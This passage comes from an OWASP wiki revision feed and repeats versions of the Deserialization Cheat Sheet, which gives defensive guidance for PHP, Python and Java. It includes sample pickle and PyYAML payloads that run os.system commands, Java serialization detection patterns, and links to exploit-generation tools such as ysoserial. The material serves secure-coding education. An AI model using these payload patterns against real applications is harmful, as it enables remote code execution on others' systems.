* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet&lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br /&amp;gt;&lt;br /&gt;
Tony Hsu (Hsiang-Chih)&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=239458</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=239458"/>
				<updated>2018-04-07T02:05:39Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: ObjectInputStream.readUnshared&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accepted.&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in Python will be vuleerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML with load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
  5. 'ObjectInputStream.readUnshared'&lt;br /&gt;
&lt;br /&gt;
=== BlackBox Review ===&lt;br /&gt;
If the captured traffic data include the following patterns may suggest that the data was sent in Java serialization streams&lt;br /&gt;
* &amp;quot;AC ED 00 05&amp;quot; in Hex&lt;br /&gt;
* &amp;quot;''rO0&amp;quot;  in Base64''&lt;br /&gt;
* Content-type = '&amp;lt;nowiki/&amp;gt;''application/x-java-serialized-object'''&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are members of the object graph that should never be controlled by end users during deserialization or exposed to users during serialization, they should be marked with [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= Mitigation Tools/Libraries =&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
&lt;br /&gt;
* SWAT (Serial Whitelist Application Trainer) https://github.com/cschneider4711/SWAT&lt;br /&gt;
* NotSoSerial https://github.com/kantega/notsoserial&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet&lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br /&amp;gt;&lt;br /&gt;
Tony Hsu (Hsiang-Chih)&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=239457</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=239457"/>
				<updated>2018-04-07T02:05:16Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: /* BlackBox Review */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accepted.&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in Python will be vuleerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML with load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
&lt;br /&gt;
=== BlackBox Review ===&lt;br /&gt;
If the captured traffic data include the following patterns may suggest that the data was sent in Java serialization streams&lt;br /&gt;
* &amp;quot;AC ED 00 05&amp;quot; in Hex&lt;br /&gt;
* &amp;quot;''rO0&amp;quot;  in Base64''&lt;br /&gt;
* Content-type = '&amp;lt;nowiki/&amp;gt;''application/x-java-serialized-object'''&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are members of the object graph that should never be controlled by end users during deserialization or exposed to users during serialization, they should be marked with [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= Mitigation Tools/Libraries =&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
&lt;br /&gt;
* SWAT (Serial Whitelist Application Trainer) https://github.com/cschneider4711/SWAT&lt;br /&gt;
* NotSoSerial https://github.com/kantega/notsoserial&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet&lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
